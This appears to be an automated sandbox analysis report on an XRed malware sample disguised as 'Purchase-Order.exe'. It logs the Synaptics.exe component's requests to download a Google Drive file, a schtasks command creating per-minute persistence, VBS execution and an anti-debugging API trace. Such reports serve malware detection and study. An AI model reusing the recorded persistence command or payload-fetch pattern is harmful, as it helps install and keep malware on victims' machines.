Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49944	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:36 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:37 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7f2R-Ln9sxCZ1V9qdd3pGbqz3PVnqL5IjxmlIxNb0-EorCIcjgVNlaLnECtvNkq9-eE47CCFY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:36 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ilGmHQ_vIBhYqmtMzTsWyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:37 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:37 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 53 66 69 6e 4d 64 68 69 67 53 4f 41 78 68 70 2d 74 73 31 42 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="GSfinMdhigSOAxhp-ts1Bg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:37 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49949	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:37 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-c1X2uq7kkSWviqHBWmIZ-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49947	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:37 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:38 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4NCBMgi7G-4LAn1MyG1WMoMjoEXoulmAPzDROhJbf3LflGGwwW4pTHD8BcWVGtasQD Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:37 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-O5s2LizMmCAOpXAAe0lsqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:38 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:38 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 73 48 4c 78 53 64 61 42 30 64 4e 4a 55 67 39 78 75 55 66 45 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="MsHLxSdaB0dNJUg9xuUfEw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:38 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49948	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:37 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-H58QWWSBHHAp1czq6LyJDw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	05:35:45
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\Purchase-Order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase-Order.exe"
Imagebase:	0x400000
File size:	2'205'184 bytes
MD5 hash:	63A057389438A0B287D32E31149D6AD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:35:45
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\._cache_Purchase-Order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_Purchase-Order.exe"
Imagebase:	0xa40000
File size:	1'433'600 bytes
MD5 hash:	5C99BB8A6972F6FCE154D00AA56F2F9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:35:46
Start date:	30/12/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	ACA4D70521DE30563F4F2501D4D686A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:35:46
Start date:	30/12/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x8d0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	05:35:47
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:35:47
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:35:47
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs
Imagebase:	0xad0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:35:48
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1
Imagebase:	0xdd0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:35:49
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Imagebase:	0xd40000
File size:	1'433'600 bytes
MD5 hash:	5C99BB8A6972F6FCE154D00AA56F2F9D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:35:58
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe"
Imagebase:	0xd40000
File size:	1'433'600 bytes
MD5 hash:	5C99BB8A6972F6FCE154D00AA56F2F9D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:36:01
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Imagebase:	0xd40000
File size:	1'433'600 bytes
MD5 hash:	5C99BB8A6972F6FCE154D00AA56F2F9D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:36:06
Start date:	30/12/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	ACA4D70521DE30563F4F2501D4D686A5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:36:15
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe"
Imagebase:	0xd40000
File size:	1'433'600 bytes
MD5 hash:	5C99BB8A6972F6FCE154D00AA56F2F9D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:36:23
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe"
Imagebase:	0xd40000
File size:	1'433'600 bytes
MD5 hash:	5C99BB8A6972F6FCE154D00AA56F2F9D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:37:00
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe
Imagebase:	0xd40000
File size:	1'433'600 bytes
MD5 hash:	5C99BB8A6972F6FCE154D00AA56F2F9D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:37:50
Start date:	30/12/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff670590000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.2%
Total number of Nodes:	1461
Total number of Limit Nodes:	145

Executed Functions

Function 00D4374E Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 00D4376D

Part of subcall function 00D44257: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe,00000104,?,00000000,00000001,00000000), ref: 00D4428C

IsDebuggerPresent.KERNEL32(?,?), ref: 00D4377F
GetFullPathNameW.KERNEL32(C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe,00000104,?,00E01120,C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe,00E01124,?,?), ref: 00D437EE

Part of subcall function 00D434F3: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00D4352A

SetCurrentDirectoryW.KERNEL32(?), ref: 00D43860
MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,00DF2934,00000010), ref: 00DB21C5
SetCurrentDirectoryW.KERNEL32(?,?), ref: 00DB21FD
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?), ref: 00DB2232
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00DDDAA4), ref: 00DB2290
ShellExecuteW.SHELL32(00000000), ref: 00DB2297

Part of subcall function 00D430A5: GetSysColorBrush.USER32(0000000F), ref: 00D430B0
Part of subcall function 00D430A5: LoadCursorW.USER32(00000000,00007F00), ref: 00D430BF
Part of subcall function 00D430A5: LoadIconW.USER32(00000063), ref: 00D430D5
Part of subcall function 00D430A5: LoadIconW.USER32(000000A4), ref: 00D430E7
Part of subcall function 00D430A5: LoadIconW.USER32(000000A2), ref: 00D430F9
Part of subcall function 00D430A5: RegisterClassExW.USER32(?), ref: 00D43167

Part of subcall function 00D42E9D: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00D42ECB
Part of subcall function 00D42E9D: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00D42EEC
Part of subcall function 00D42E9D: ShowWindow.USER32(00000000), ref: 00D42F00
Part of subcall function 00D42E9D: ShowWindow.USER32(00000000), ref: 00D42F09

Part of subcall function 00D43598: _memset.LIBCMT ref: 00D435BE
Part of subcall function 00D43598: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00D43667

Strings

runas, xrefs: 00DB228B
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support., xrefs: 00DB21BE
C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe, xrefs: 00D437B4, 00D437E9, 00D437FD, 00DB2257
", xrefs: 00D4379D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$IconLoadName$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
String ID: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas$"
API String ID: 4253510256-4253174962
Opcode ID: 344e6313a299be5c30a5f711e1989455112ae282525b8deeff2fd67207281b5a
Instruction ID: 570c7bb13377ef6713787ca8cf0c7d5b11d6374ab836585b740cffb1e3bb0978
Opcode Fuzzy Hash: 344e6313a299be5c30a5f711e1989455112ae282525b8deeff2fd67207281b5a
Instruction Fuzzy Hash: 2D510271644345AFDF10ABA89C46FBD7B69DB15700F0400AAF782F62E1C6718A89CB72

Function 00D5E47B Relevance: 10.7, APIs: 7, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00D5E4A7

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

GetCurrentProcess.KERNEL32(00000000,00DDDC28,?,?), ref: 00D5E567
GetNativeSystemInfo.KERNEL32(?,00DDDC28,?,?), ref: 00D5E5BC
FreeLibrary.KERNEL32(00000000,?,?), ref: 00D5E5C7
FreeLibrary.KERNEL32(00000000,?,?), ref: 00D5E5DA
GetSystemInfo.KERNEL32(?,00DDDC28,?,?), ref: 00D5E5E4
GetSystemInfo.KERNEL32(?,00DDDC28,?,?), ref: 00D5E5F0

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
